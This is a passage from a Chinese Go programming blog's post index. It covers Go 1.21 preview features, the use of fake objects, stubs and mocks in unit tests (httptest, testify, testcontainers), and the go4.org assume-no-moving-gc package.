Go从1.11版本就开始支持将Go源码编译为wasm二进制文件，并在支持wasm的浏览器环境中运行。\n不过WebAssembly绝不仅仅被设计为仅限于在Web浏览器中运行，核心的WebAssembly语言是独立于其周围环境的，WebAssembly完全可以通过API与外部世界互动。在Web上，它自然使用浏览器提供的现有Web API。然而，在浏览器之外，之前还没有一套标准的API可以让WebAssembly程序使用。这使得创建真正可移植的非Web WebAssembly程序变得困难。WebAssembly System Interface(WASI)是一个填补这一空白的倡议，它有一套干净的API，可以由多个引擎在多个平台上实现，并且不依赖于浏览器的功能（尽管它们仍然可以在浏览器中运行）。\nGo 1.21将增加对WASI的支持，初期先支持WASI Preview1版本，之后会支持WASI Preview2版本，直至最终WASI API版本发布！目前我们可以使用GOOS=wasip1 GOARCH=wasm将Go源码编译为支持WASI的wasm程序，下面是一个例子：\n// main.go package main func main() { println(\u0026quot;hello\u0026quot;) } 下载最新go dev版本后(go install http://golang.org/dl/gotip@latest)，可以执行下面命令将main.go编译为wasm程序：\n$ GOARCH=wasm GOOS=wasip1 gotip build -o main.wasm main.go 开源的wasm运行时有很多，wazero是目前比较火的且使用纯Go实现的wasm运行时程序，安装wazero后，可以用来执行上面编译出来的main.wasm：\n$curl https://wazero.io/install.sh $wazero run main.wasm hello 3.4 Go 1.21可能推出纯静态工具链，不再依赖glibc 使用纯Go实现的net resolver，原先DNS的问题也将被解决，这样Go团队很可能在构建工具链的时候使用CGO_ENABLED=0构建出静态工具链，没有动态链接库的依赖。\n3.5 go test -c支持为多个包同时构建测试二进制程序 Go 1.21版本之前，go test -c仅支持将单个包的测试代码编译为测试二进制程序，Go 1.21版本则允许我们同时为多个包构建测试二进制程序。\n下面是官方给出的例子：\n$ go test -c -o /tmp ./pkg1 ./pkg2 ./pkg2 $ ls /tmp pkg1.test pkg2.test pkg3.test 3.6 增加\\$GOROOT/go.env 今天使用go env -w命令修改的默认环境变量会写入：filepath.Join(os.UserConfigDir(), “go/env”)。在Mac上，这个路径是\\$HOME/Library/Application Support/go/env；在Linux上，这个路径是\\$HOME/.config/go/env。\nGo 1.21将增加一个全局层次上的go.env，放在\\$GOROOT下面，目前默认的go.env为：\n// $GOROOT/go.env # This file contains the initial defaults for go command configuration. # Values set by 'go env -w' and written to the user's go/env file override these. # The environment overrides everything else. # Use the Go module mirror and checksum database by default. # See https://proxy.golang.org for details. GOPROXY=https://proxy.golang.org,direct GOSUMDB=sum.golang.org 我们仍然可以通过go env -w命令修改user级的env文件来覆盖上述配置，当然最高优先级的是OS用户环境变量，如果在OS用户环境变量文件(比如.bash_profile、.bashrc)中设置了Go的环境变量值，比如GOPROXY等，那么以OS用户环境变量为优先。\n4. 标准库 我们接下来再来看看变更最多的一部分：标准库，我们将对主要变更项作简要介绍。\n4.1 slices和maps进入标准库 Go 1.18版本泛型落地发布前的最后一刻，Rob Pike叫停了slices、maps等泛型包的入库，后来这两个包先放置在golang.org/x/exp下作为实验包。随着Go泛型日益成熟以及Go团队对泛型使用经验的增多，Go团队终于决定将golang.org/x/exp/slices和golang.org/x/exp/maps在Go 1.21版本中将挪入标准库。\n4.2 log/slog加入标准库 log/slog是Go官方版结构化日志包，大致与uber的zap包相当。在我之前的一篇文章《slog：Go官方版结构化日志包》有对slog的详尽说明，大家可以移步到那篇文章看看。不过slog的proposal依旧很多，后续slog可能会有持续改进和变更，与那篇文章中的内容可能会有一些差异。\n4.3 sync包增加OnceFunc、OnceValue和OnceValues 在sync.Once的基础上，这个issue增加了三个与Once相关的”语法糖”API，用在一些对Once有需求的最常见的场景中。\n4.4 增加testing.Testing函数 Go 1.21为testing包增加了func Testing() bool函数，该函数可以用来报告当前程序是否是go test创建的测试程序。使用Testing函数，我们可以确保一些无需在单测阶段执行的函数不被执行。比如下面例子来自这个issue：\n// file/that/should/not/be/used/from/testing.go func prodEnvironmentData() *Environment { if testing.Testing() { log.Fatal(\u0026quot;Using production data in unit tests\u0026quot;) } .... } 4.5 一些变更点 context: 增加为deadline或timeout context设置cancel原因的API – https://github.com/golang/go/issues/56661 unicode升级到15.0版本 – https://github.com/golang/go/issues/55079 5. 参考资料 Go 1.21 milestone – https://github.com/golang/go/milestone/279 “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/04/26/go-1-21-foresight/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1-21-foresight-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/04/26/go-1-21-foresight\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/04/26/go-1-21-foresight\"\u003ehttps://tonybai.com/2023/04/26/go-1-21-foresight\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/golang/go/milestone/279\"\u003eGo 1.21版本\u003c/a\u003e正在如火如荼地开发当中，按照Go核心团队的一年两次的发布节奏来算，Go 1.21版本预计将在2023年8月发布(\u003ca href=\"https://tonybai.com/2023/02/08/some-changes-in-go-1-20/\"\u003eGo 1.20版本\u003c/a\u003e是在2023年2月份发布的)。\u003c/p\u003e","title":"Go 1.21新特性前瞻"},{"content":"本文永久链接 – https://tonybai.com/2023/04/20/provide-fake-object-for-external-collaborators\n1. 单元测试的难点：外部协作者(external collaborators)的存在 单元测试是软件开发的一个重要部分，它有助于在开发周期的早期发现错误，帮助开发人员增加对生产代码正常工作的信心，同时也有助于改善代码设计。Go语言从诞生那天起就内置Testing框架(以及测试覆盖率计算工具)，基于该框架，Gopher们可以非常方便地为自己设计实现的package编写测试代码。\n注：《Go语言精进之路》vol2中的第40条到第44条有关于Go包内、包外测试区别、测试代码组织、表驱动测试、管理外部测试数据等内容的系统地讲解，感兴趣的童鞋可以读读。\n不过即便如此，在实际开发工作中，大家发现单元测试的覆盖率依旧很低，究其原因，排除那些对测试代码不作要求的组织，剩下的无非就是代码设计不佳，使得代码不易测；或是代码有外部协作者（比如数据库、redis、其他服务等）。代码不易测可以通过重构来改善，但如果代码有外部协作者，我们该如何对代码进行测试呢，这也是各种编程语言实施单元测试的一大共同难点。\n为此，《xUnit Test Patterns : Refactoring Test Code》一书中提供了**Test Double(测试替身)**的概念专为解决此难题。那么什么是Test Double呢？我们接下来就来简单介绍一下Test Double的概念以及常见的种类。\n2. 什么是Test Double？ 测试替身是在测试阶段用来替代被测系统依赖的真实组件的对象或程序(如下图)，以方便测试，这些真实组件或程序即是外部协作者(external collaborators)。这些外部协作者在测试环境下通常很难获取或与之交互。测试替身可以使开发人员或QA专业人员专注于新的代码而不是代码与环境集成。\n测试替身是通用术语，指的是不同类型的替换对象或程序。目前xUnit Patterns至少定义了五种类型的Test Doubles：\nTest stubs Mock objects Test spies Fake objects Dummy objects 这其中最为常用的是Fake objects、stub和mock objects。下面逐一说说这三种test double：\n2.1 fake object fake object最容易理解，它是被测系统SUT(System Under Test)依赖的外部协作者的“替身”，和真实的外部协作者相比，fake object外部行为表现与真实组件几乎是一致的，但更简单也更易于使用，实现更轻量，仅用于满足测试需求即可。\nfake object也是Go testing中最为常用的一类fake object。以Go的标准库为例，我们在src/database/sql下面就看到了Go标准库为进行sql包测试而实现的一个database driver：\n// $GOROOT/src/database/fakedb_test.go var fdriver driver.Driver = \u0026amp;fakeDriver{} func init() { Register(\u0026quot;test\u0026quot;, fdriver) } 我们知道一个真实的sql数据库的代码量可是数以百万计的，这里不可能实现一个生产级的真实SQL数据库，从fakedb_test.go源文件的注释我们也可以看到，这个fakeDriver仅仅是用于testing，它是一个实现了driver.Driver接口的、支持少数几个DDL(create)、DML(insert)和DQL(selet)的toy版的纯内存数据库：\n// fakeDriver is a fake database that implements Go's driver.Driver // interface, just for testing. // // It speaks a query language that's semantically similar to but // syntactically different and simpler than SQL. The syntax is as // follows: // // WIPE // CREATE|\u0026lt;tablename\u0026gt;|\u0026lt;col\u0026gt;=\u0026lt;type\u0026gt;,\u0026lt;col\u0026gt;=\u0026lt;type\u0026gt;,... // where types are: \u0026quot;string\u0026quot;, [u]int{8,16,32,64}, \u0026quot;bool\u0026quot; // INSERT|\u0026lt;tablename\u0026gt;|col=val,col2=val2,col3=? // SELECT|\u0026lt;tablename\u0026gt;|projectcol1,projectcol2|filtercol=?,filtercol2=? // SELECT|\u0026lt;tablename\u0026gt;|projectcol1,projectcol2|filtercol=?param1,filtercol2=?param2 与此类似的，Go标准库中还有net/dnsclient_unix_test.go中的fakeDNSServer等。此外，Go标准库中一些以mock做前缀命名的变量、类型等其实质上是fake object。\n我们再来看第二种test double: stub。\n2.2 stub stub显然也是一个在测试阶段专用的、用来替代真实外部协作者与SUT进行交互的对象。与fake object稍有不同的是，stub是一个内置了预期值/响应值且可以在多个测试间复用的替身object。\nstub可以理解为一种fake object的特例。\n注：fakeDriver在sql_test.go中的不同测试场景中时而是fake object，时而是stub(见sql_test.go中的newTestDBConnector函数)。\nGo标准库中的net/http/httptest就是一个提供创建stub的典型的测试辅助包，十分适合对http.Handler进行测试，这样我们无需真正启动一个http server。下面就是基于httptest的一个测试例子：\n// 被测对象 client.go package main import ( \u0026quot;bytes\u0026quot; \u0026quot;net/http\u0026quot; ) // Function that uses the client to make a request and parse the response func GetResponse(client *http.Client, url string) (string, error) { req, err := http.NewRequest(\u0026quot;GET\u0026quot;, url, nil) if err != nil { return \u0026quot;\u0026quot;, err } resp, err := client.Do(req) if err != nil { return \u0026quot;\u0026quot;, err } defer resp.Body.Close() buf := new(bytes.Buffer) _, err = buf.ReadFrom(resp.Body) if err != nil { return \u0026quot;\u0026quot;, err } return buf.String(), nil } // 测试代码 client_test.go package main import ( \u0026quot;net/http\u0026quot; \u0026quot;net/http/httptest\u0026quot; \u0026quot;testing\u0026quot; ) func TestClient(t *testing.T) { // Create a new test server with a handler that returns a specific response server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) w.Write([]byte(`{\u0026quot;message\u0026quot;: \u0026quot;Hello, world!\u0026quot;}`)) })) defer server.Close() // Create a new client that uses the test server client := server.Client() // Call the function that uses the client message, err := GetResponse(client, server.URL) // Check that the response is correct expected := `{\u0026quot;message\u0026quot;: \u0026quot;Hello, world!\u0026quot;}` if message != expected { t.Errorf(\u0026quot;Expected response %q, but got %q\u0026quot;, expected, message) } // Check that no errors were returned if err != nil { t.Errorf(\u0026quot;Unexpected error: %v\u0026quot;, err) } } 在这个例子中，我们要测试一个名为GetResponse的函数，该函数通过client向url发送Get请求，并将收到的响应内容读取出来并返回。为了测试这个函数，我们需要“建立”一个与GetResponse进行协作的外部http server，这里我们使用的就是httptest包。我们通过httptest.NewServer建立这个server，该server预置了一个返回特定响应的HTTP handler。我们通过该server得到client和对应的url参数后，将其传给被测目标GetResponse，并将其返回的结果与预期作比较来完成这个测试。注意，我们在测试结束后使用defer server.Close()来关闭测试服务器，以确保该服务器不会在测试结束后继续运行。\nhttptest还常用来做http.Handler的测试，比如下面这个例子：\n// handler.go package main import ( \u0026quot;bytes\u0026quot; \u0026quot;io\u0026quot; \u0026quot;net/http\u0026quot; ) func AddHelloPrefix(w http.ResponseWriter, r *http.Request) { b, err := io.ReadAll(r.Body) if err != nil { w.WriteHeader(http.StatusBadRequest) return } w.Write(bytes.Join([][]byte{[]byte(\u0026quot;hello, \u0026quot;), b}, nil)) w.WriteHeader(http.StatusOK) } // handler_test.go package main import ( \u0026quot;net/http\u0026quot; \u0026quot;net/http/httptest\u0026quot; \u0026quot;strings\u0026quot; \u0026quot;testing\u0026quot; ) func TestHandler(t *testing.T) { r := strings.NewReader(\u0026quot;world!\u0026quot;) req, err := http.NewRequest(\u0026quot;GET\u0026quot;, \u0026quot;/test\u0026quot;, r) if err != nil { t.Fatal(err) } rr := httptest.NewRecorder() handler := http.HandlerFunc(AddHelloPrefix) handler.ServeHTTP(rr, req) if status := rr.Code; status != http.StatusOK { t.Errorf(\u0026quot;handler returned wrong status code: got %v want %v\u0026quot;, status, http.StatusOK) } expected := \u0026quot;hello, world!\u0026quot; if rr.Body.String() != expected { t.Errorf(\u0026quot;handler returned unexpected body: got %v want %v\u0026quot;, rr.Body.String(), expected) } } 在这个例子中，我们创建一个新的http.Request对象，用于向/test路径发出GET请求。然后我们创建一个新的httptest.ResponseRecorder对象来捕获服务器的响应。 我们定义一个简单的HTTP Handler(被测函数): AddHelloPrefix，该Handler会在请求的内容之前加上”hello, “并返回200 OK状态代码作为响应体。之后，我们在handler上调用ServeHTTP方法，传入httptest.ResponseRecorder和http.Request对象，这会将请求“发送”到处理程序并捕获响应。最后，我们使用标准的Go测试包来检查响应是否具有预期的状态码和正文。\n在这个例子中，我们利用net/http/httptest创建了一个测试服务器“替身”，并向其“发送”间接预置信息的请求以测试Go中的HTTP handler。这个过程中其实并没有任何网络通信，也没有http协议打包和解包的过程，我们也不关心http通信，那是Go net/http包的事情，我们只care我们的Handler是否能按逻辑运行。\nfake object与stub的优缺点基本一样。多数情况下，大家也无需将这二者划分的很清晰。\n2.3 mock object 和fake/stub一样，mock object也是一个测试替身。通过上面的例子我们看到fake建立困难(比如创建一个近2千行代码的fakeDriver)，但使用简单。而mock object则是一种建立简单，使用简单程度因被测目标与外部协作者交互复杂程度而异的test double，我们看一下下面这个例子：\n// db.go 被测目标 package main // Define the `Database` interface type Database interface { Save(data string) error Get(id int) (string, error) } // Example functions that use the `Database` interface func saveData(db Database, data string) error { return db.Save(data) } func getData(db Database, id int) (string, error) { return db.Get(id) } // 测试代码 package main import ( \u0026quot;testing\u0026quot; \u0026quot;github.com/stretchr/testify/assert\u0026quot; \u0026quot;github.com/stretchr/testify/mock\u0026quot; ) // Define a mock struct that implements the `Database` interface type MockDatabase struct { mock.Mock } func (m *MockDatabase) Save(data string) error { args := m.Called(data) return args.Error(0) } func (m *MockDatabase) Get(id int) (string, error) { args := m.Called(id) return args.String(0), args.Error(1) } func TestSaveData(t *testing.T) { // Create a new mock database db := new(MockDatabase) // Expect the `Save` method to be called with \u0026quot;test data\u0026quot; db.On(\u0026quot;Save\u0026quot;, \u0026quot;test data\u0026quot;).Return(nil) // Call the code that uses the database err := saveData(db, \u0026quot;test data\u0026quot;) // Assert that the `Save` method was called with the correct argument db.AssertCalled(t, \u0026quot;Save\u0026quot;, \u0026quot;test data\u0026quot;) // Assert that no errors were returned assert.NoError(t, err) } func TestGetData(t *testing.T) { // Create a new mock database db := new(MockDatabase) // Expect the `Get` method to be called with ID 123 and return \u0026quot;test data\u0026quot; db.On(\u0026quot;Get\u0026quot;, 123).Return(\u0026quot;test data\u0026quot;, nil) // Call the code that uses the database data, err := getData(db, 123) // Assert that the `Get` method was called with the correct argument db.AssertCalled(t, \u0026quot;Get\u0026quot;, 123) // Assert that the correct data was returned assert.Equal(t, \u0026quot;test data\u0026quot;, data) // Assert that no errors were returned assert.NoError(t, err) } 在这个例子中，被测目标是两个接受Database接口类型参数的函数：saveData和getData。显然在单元测试阶段，我们不能真正为这两个函数传入真实的Database实例去测试。\n这里，我们没有使用fake object，而是定义了一个mock object：MockDatabase，该类型实现了Database接口。然后我们定义了两个测试函数，TestSaveData和TestGetData，它们分别使用MockDatabase实例来测试saveData和getData函数。\n在每个测试函数中，我们对MockDatabase实例进行设置，包括期待特定参数的方法调用，然后调用使用该数据库的代码(即被测目标函数saveData和getData)。然后我们使用github.com/stretchr/testify中的assert包，对代码的预期行为进行断言。\n注：除了上述测试中使用的AssertCalled方法外，MockDatabase结构还提供了其他方法来断言方法被调用的次数、方法被调用的顺序等。请查看github.com/stretchr/testify/mock包的文档，了解更多信息。\n3. Test Double有多种，选哪个呢？ 从mock object的例子来看，测试代码的核心就是mock object的构建与mock object的方法的参数和返回结果的设置，相较于fake object的简单直接，mock object在使用上较为难于理解。而且对Go语言来说，mock object要与接口类型联合使用，如果被测目标的参数是非接口类型，mock object便“无从下嘴”了。此外，mock object使用难易程度与被测目标与外部协作者的交互复杂度相关。像上面这个例子，建立mock object就比较简单。但对于一些复杂的函数，当存在多个外部协作者且与每个协作者都有多次交互的情况下，建立和设置mock object就将变得困难并更加难于理解。\nmock object仅是满足了被测目标对依赖的外部协作者的调用需求，比如设置不同参数传入下的不同返回值，但mock object并未真实处理被测目标传入的参数，这会降低测试的可信度以及开发人员对代码正确性的信心。\n此外，如果被测函数的输入输出未发生变化，但内部逻辑发生了变化，比如调用的外部协作者的方法参数、调用次数等，使用mock object的测试代码也需要一并更新维护。\n而通过上面的fakeDriver、fakeDNSSever以及httptest应用的例子，我们看到：作为test double，fake object/stub有如下优点：\n我们与fake object的交互方式与与真实外部协作者交互的方式相同，这让其显得更简单，更容易使用，也降低了测试的复杂性； fake objet的行为更像真正的协作者，可以给开发人员更多的信心； 当真实协作者更新时，我们不需要更新使用fake object时设置的expection和结果验证条件，因此，使用fake object时，重构代码往往比使用其他test double更容易。 不过fake object也有自己的不足之处，比如：\nfake object的创建和维护可能很费时，就像上面的fakeDriver，源码有近2k行； fake object可能无法提供与真实组件相同的功能覆盖水平，这与fake object的提供方式有关。 fake object的实现需要维护，每当真正的协作者更新时，都必须更新fake object。 综上，测试的主要意义是保证SUT代码的正确性，让开发人员对自己编写的代码更有信心，从这个角度来看，我们在单测时应首选为外部协作者提供fake object以满足测试需要。\n4. fake object的实现和获取方法 随着技术的进步，fake object的实现和获取日益容易。\n我们可以借助类似ChatGPT/copilot的工具快速构建出一个fake object，即便是几百行代码的fake object的实现也很容易。\n如果要更高的可信度和更高的功能覆盖水平，我们还可以借助docker来构建“真实版/无阉割版”的fake object。\n借助github上开源的testcontainers-go可以更为简便的构建出一个fake object，并且testcontainer提供了常见的外部协作者的封装实现，比如：MySQL、Redis、Postgres等。\n以测试redis client为例，我们使用testcontainer建立如下测试代码：\n// redis_test.go package main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;testing\u0026quot; \u0026quot;github.com/go-redis/redis/v8\u0026quot; \u0026quot;github.com/testcontainers/testcontainers-go\u0026quot; \u0026quot;github.com/testcontainers/testcontainers-go/wait\u0026quot; ) func TestRedisClient(t *testing.T) { // Create a Redis container with a random port and wait for it to start req := testcontainers.ContainerRequest{ Image: \u0026quot;redis:latest\u0026quot;, ExposedPorts: []string{\u0026quot;6379/tcp\u0026quot;}, WaitingFor: wait.ForLog(\u0026quot;Ready to accept connections\u0026quot;), } ctx := context.Background() redisC, err := testcontainers.GenericContainer(ctx, testcontainers.GenericContainerRequest{ ContainerRequest: req, Started: true, }) if err != nil { t.Fatalf(\u0026quot;Failed to start Redis container: %v\u0026quot;, err) } defer redisC.Terminate(ctx) // Get the Redis container's host and port redisHost, err := redisC.Host(ctx) if err != nil { t.Fatalf(\u0026quot;Failed to get Redis container's host: %v\u0026quot;, err) } redisPort, err := redisC.MappedPort(ctx, \u0026quot;6379/tcp\u0026quot;) if err != nil { t.Fatalf(\u0026quot;Failed to get Redis container's port: %v\u0026quot;, err) } // Create a Redis client and perform some operations client := redis.NewClient(\u0026amp;redis.Options{ Addr: fmt.Sprintf(\u0026quot;%s:%s\u0026quot;, redisHost, redisPort.Port()), }) defer client.Close() err = client.Set(ctx, \u0026quot;key\u0026quot;, \u0026quot;value\u0026quot;, 0).Err() if err != nil { t.Fatalf(\u0026quot;Failed to set key: %v\u0026quot;, err) } val, err := client.Get(ctx, \u0026quot;key\u0026quot;).Result() if err != nil { t.Fatalf(\u0026quot;Failed to get key: %v\u0026quot;, err) } if val != \u0026quot;value\u0026quot; { t.Errorf(\u0026quot;Expected value %q, but got %q\u0026quot;, \u0026quot;value\u0026quot;, val) } } 运行该测试将看到类似如下结果：\n$go test 2023/04/15 16:18:20 github.com/testcontainers/testcontainers-go - Connected to docker: Server Version: 20.10.8 API Version: 1.41 Operating System: Ubuntu 20.04.3 LTS Total Memory: 10632 MB 2023/04/15 16:18:21 Failed to get image auth for docker.io. Setting empty credentials for the image: docker.io/testcontainers/ryuk:0.3.4. Error is:credentials not found in native keychain 2023/04/15 16:19:06 Starting container id: 0d8341b2270e image: docker.io/testcontainers/ryuk:0.3.4 2023/04/15 16:19:10 Waiting for container id 0d8341b2270e image: docker.io/testcontainers/ryuk:0.3.4 2023/04/15 16:19:10 Container is ready id: 0d8341b2270e image: docker.io/testcontainers/ryuk:0.3.4 2023/04/15 16:19:28 Starting container id: 999cf02b5a82 image: redis:latest 2023/04/15 16:19:30 Waiting for container id 999cf02b5a82 image: redis:latest 2023/04/15 16:19:30 Container is ready id: 999cf02b5a82 image: redis:latest PASS ok demo 73.262s 我们看到建立这种真实版的“fake object”的一大不足就是依赖网络下载container image且耗时过长，在单元测试阶段使用还是要谨慎一些。testcontainer更多也会被用在集成测试或冒烟测试上。\n一些开源项目，比如etcd，也提供了用于测试的自身简化版的实现(embed)。这一点也值得我们效仿，在团队内部每个服务的开发者如果都能提供一个服务的简化版实现，那么对于该服务调用者来说，它的单测就会变得十分容易。\n5. 参考资料 《xUnit Test Patterns : Refactoring Test Code》- https://book.douban.com/subject/1859393/ Test Double Patterns – http://xunitpatterns.com/Test%20Double%20Patterns.html The Unit in Unit Testing – https://www.infoq.com/articles/unit-testing-approach/ Test Doubles — Fakes, Mocks and Stubs – https://blog.pragmatists.com/test-doubles-fakes-mocks-and-stubs-1a7491dfa3da “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/04/20/provide-fake-object-for-external-collaborators/","summary":"\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/04/20/provide-fake-object-for-external-collaborators\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/04/20/provide-fake-object-for-external-collaborators\"\u003ehttps://tonybai.com/2023/04/20/provide-fake-object-for-external-collaborators\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/provide-fake-object-for-external-collaborators-1.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"1-单元测试的难点外部协作者external-collaborators的存在\"\u003e1. 单元测试的难点：外部协作者(external collaborators)的存在\u003c/h2\u003e\n\u003cp\u003e单元测试是软件开发的一个重要部分，它有助于在开发周期的早期发现错误，帮助开发人员增加对生产代码正常工作的信心，同时也有助于改善代码设计。\u003cstrong\u003eGo语言从诞生那天起就内置Testing框架(以及测试覆盖率计算工具)\u003c/strong\u003e，基于该框架，Gopher们可以非常方便地为自己设计实现的package编写测试代码。\u003c/p\u003e","title":"单测时尽量用fake object"},{"content":"\n本文永久链接 – https://tonybai.com/2023/04/16/understanding-unsafe-assume-no-moving-gc\n1. 背景 在之前的《Go与神经网络：张量计算》一文中，不知道大家是否发现了，所有例子代码执行时，前面都加了一个环境变量ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH，就像下面这样：\n$ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 go run tensor.go 这是怎么回事儿呢？如果不加上这个环境变量会发生什么呢？我们来试试：\n// https://github.com/bigwhite/experiments/blob/master/go-and-nn/tensor-operations/tensor.go $go run tensor.go panic: Something in this program imports go4.org/unsafe/assume-no-moving-gc to declare that it assumes a non-moving garbage collector, but your version of go4.org/unsafe/assume-no-moving-gc hasn't been updated to assert that it's safe against the go1.20 runtime. If you want to risk it, run with environment variable ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 set. Notably, if go1.20 adds a moving garbage collector, this program is unsafe to use. goroutine 1 [running]: go4.org/unsafe/assume-no-moving-gc.init.0() /Users/tonybai/Go/pkg/mod/go4.org/unsafe/assume-no-moving-gc@v0.0.0-20220617031537-928513b29760/untested.go:25 +0x1ba exit status 2 我们看到，程序panic了！我们看到panic的错误信息提到了go4.org/unsafe/assume-no-moving-gc这个包，显然是这个包在“作祟”，那么assume-no-moving-gc这个包究竟是做什么的呢？究竟有何功用？为何gorgonia.org/tensor会依赖这个包？这超出了《Go与神经网络：张量计算》那篇文章的范畴，所以我并未提及。在这篇文章中，我就和大家一起来理解一下unsafe-assume-no-moving-gc这个包。\n2. unsafe-assume-no-moving-gc究竟是什么包？ unsafe-assume-no-moving-gc这个包的canonical import path是go4.org/unsafe/assume-no-moving-gc，显然它是go4.org这个组织开源的包。我们看看go4.org的主页(如下图)：\n这个站点主页非常“简陋”，最大的价值在于解释了go4的来历：gopher的谐音。go4.org开源了一些Go包，这个在其官方github站点可以看到：\n项目不多，Star数也不多，但随便翻看一个项目的contributor，我们能看到前Googler、前Go核心团队成员、net/http包的设计者Brad Fitzpatrick(bradfitz)以及Go runtime的核心贡献者Josh Bleecher Snyder(josharian)。现在这两人似乎都在初创公司tailscale任职，做基于wireguard协议的远程安全控制平台(简单理解就是VPN平台)。tailscale汇集了一撮Go语言的原核心开发，go4.org就是他们开源的一些misc go包。而unsafe-assume-no-moving-gc这个包就是其中之一。\n那么这个包究竟是做什么的呢？我们接着往下看。\n3. unsafe-assume-no-moving-gc的工作原理 unsafe-assume-no-moving-gc是一个非常简单的包：\n$tree unsafe-assume-no-moving-gc -F unsafe-assume-no-moving-gc ├── LICENSE ├── README.md ├── assume-no-moving-gc.go ├── assume-no-moving-gc_test.go ├── go.mod └── untested.go 0 directories, 6 files 除了test源文件外，它的源文件只有两个assume-no-moving-gc.go和untested.go。打开这两个源文件，你会发现这个包甚至都没有提供任何API。那这个包究竟是做什么用的呢？下面是这个包的README：\n大致的理解就是如果你的代码中使用了Go中的unsafe tip，那么你的程序可以正常工作的前提是Go运行时垃圾回收器不是一个带迁移机制的回收器(collector)。\n所谓带迁移机制的collector，即在GC回收时可能将某些heap object挪到其他内存地址上。你的程序如果导入unsafe-assume-no-moving-gc这个包，就可以在Go GC支持迁移机制时以“程序启动崩溃”的行为提醒你。\n我们来看一个例子：\n// main.go package main import ( \u0026quot;fmt\u0026quot; _ \u0026quot;go4.org/unsafe/assume-no-moving-gc\u0026quot; ) func main() { fmt.Println(\u0026quot;unsafe-assume-no-moving-gc demo\u0026quot;) } go mod tidy后，使用Go 1.20版本运行该源文件：\n$go mod tidy go: finding module for package go4.org/unsafe/assume-no-moving-gc go: downloading go4.org/unsafe/assume-no-moving-gc v0.0.0-20230221090011-e4bae7ad2296 go: downloading go4.org v0.0.0-20230225012048-214862532bf5 $go run main.go unsafe-assume-no-moving-gc demo 由于目前最新Go 1.20.x版本的GC并非带迁移机制的GC，因此使用Go 1.20跑上面程序不会导致panic。\n我们将unsafe-assume-no-moving-gc包回退到以前的版本，比如：v0.0.0-20230221090011-e4bae7ad2296，然后再run一遍main.go：\n$go get go4.org/unsafe/assume-no-moving-gc@v0.0.0-20201222180813-1025295fd063 go: downgraded go4.org/unsafe/assume-no-moving-gc v0.0.0-20230221090011-e4bae7ad2296 =\u0026gt; v0.0.0-20201222180813-1025295fd063 $go run main.go panic: Something in this program imports go4.org/unsafe/assume-no-moving-gc to declare that it assumes a non-moving garbage collector, but your version of go4.org/unsafe/assume-no-moving-gc hasn't been updated to assert that it's safe against the go1.20 runtime. If you want to risk it, run with environment variable ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 set. Notably, if go1.20 adds a moving garbage collector, this program is unsafe to use. goroutine 1 [running]: go4.org/unsafe/assume-no-moving-gc.init.0() /Users/tonybai/Go/pkg/mod/go4.org/unsafe/assume-no-moving-gc@v0.0.0-20201222180813-1025295fd063/untested.go:24 +0x1ba exit status 2 从输出的panic error信息中，我们看到go4.org/unsafe/assume-no-moving-gc尚未被升级到可以信任go 1.20版本的版本，因此以Go 1.20运行该程序可能有风险。如果你能确认不会存在问题，可以用ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20这个环境变量来避免panic，比如下面这个输出：\n$ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 go run main.go unsafe-assume-no-moving-gc demo 